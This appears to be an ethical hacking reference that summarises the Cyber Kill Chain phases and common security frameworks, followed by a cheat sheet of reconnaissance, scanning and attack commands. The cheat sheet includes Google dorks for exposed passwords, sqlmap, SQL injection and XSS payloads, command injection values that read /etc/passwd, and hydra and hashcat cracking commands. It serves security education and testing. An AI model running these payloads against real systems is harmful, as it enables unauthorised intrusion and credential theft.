Comprehensive ethical hacking reference covering attack methodologies, frameworks, reconnaissance techniques, and exploitation methods.
Information gathering about the target using passive and active techniques.
Open source intelligence from public sources, social media, company websites
Advanced search operators to find sensitive information indexed by search engines
Subdomain discovery, zone transfers, DNS record analysis
Internet-wide scanning databases for exposed services and devices
Creating or obtaining malicious payloads to exploit discovered vulnerabilities.
Creating malware, trojans, or exploit code tailored to the target
Metasploit, Cobalt Strike, Empire for generating weaponized payloads
Encoding, packing, and evasion techniques to bypass security controls
Creating convincing phishing pages and social engineering campaigns
Transmitting the weaponized payload to the target environment.
Targeted emails with malicious attachments or links
Compromising websites frequently visited by targets
Physical delivery via infected removable media
Drive-by downloads, malvertising, exploit kits
Triggering the payload to gain initial access to the target system.
Browser, PDF, Office document vulnerabilities
Web application, service, and OS vulnerabilities
Convincing users to execute malicious code
Previously unknown vulnerabilities without patches
Establishing persistent access to the compromised system.
Remote access trojans (RATs), web shells, reverse shells
Registry keys, scheduled tasks, services, startup items
Kernel-level malware to hide attacker presence
Placing malicious DLLs in application search paths
Establishing communication channel for remote control of compromised systems.
HTTP/HTTPS, DNS tunneling, ICMP, social media APIs
Periodic check-ins to C2 infrastructure for commands
Using legitimate CDNs to mask C2 traffic
Using third-party services for command delivery
Achieving the attacker's ultimate goals.
Stealing sensitive information, credentials, intellectual property
Moving through the network to access additional systems
Gaining higher-level access (admin, SYSTEM, root)
Ransomware, destruction, defacement, denial of service
| Framework | Developer | Purpose | Key Components |
|---|---|---|---|
| Cyber Kill Chain | Lockheed Martin | Attack progression model | 7 sequential phases from recon to actions |
| MITRE ATT&CK | MITRE | Adversary behavior knowledge base | 14 Tactics, 200+ Techniques, Sub-techniques |
| Diamond Model | US Intelligence | Intrusion analysis | Adversary, Capability, Infrastructure, Victim |
| PTES | Community | Penetration testing standard | 7 phases with technical guidelines |
| OWASP Testing Guide | OWASP | Web app security testing | 11 categories, 90+ test cases |
site:target.com filetype:pdf
intitle:"index of" passwords
inurl:admin intext:password
subfinder -d target.com
amass enum -d target.com
sublist3r -d target.com
shodan search "apache" "target.com"
shodan host 192.168.1.1
censys search services.http.response
LinkedIn - Employee enumeration
Twitter - Sentiment, announcements
theHarvester -d target.com
nmap -sS -sV -O target.com
nmap -sC -sV -p- target.com
masscan -p1-65535 target.com
nikto -h http://target.com
wpscan --url target.com
nuclei -u http://target.com
nmap --script vuln target.com
openvas (Greenbone)
nessus / qualys
gobuster dir -u http://target -w wordlist
ffuf -u http://target/FUZZ -w wordlist
feroxbuster -u http://target
sqlmap -u "http://target?id=1" --dbs
' OR '1'='1' --
UNION SELECT null,username,password FROM users
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
Reflected / Stored / DOM-based
; cat /etc/passwd
| whoami
$(id)
hydra -l admin -P wordlist ssh://target
hashcat -m 0 hash.txt wordlist.txt
john --wordlist=rockyou.txt hash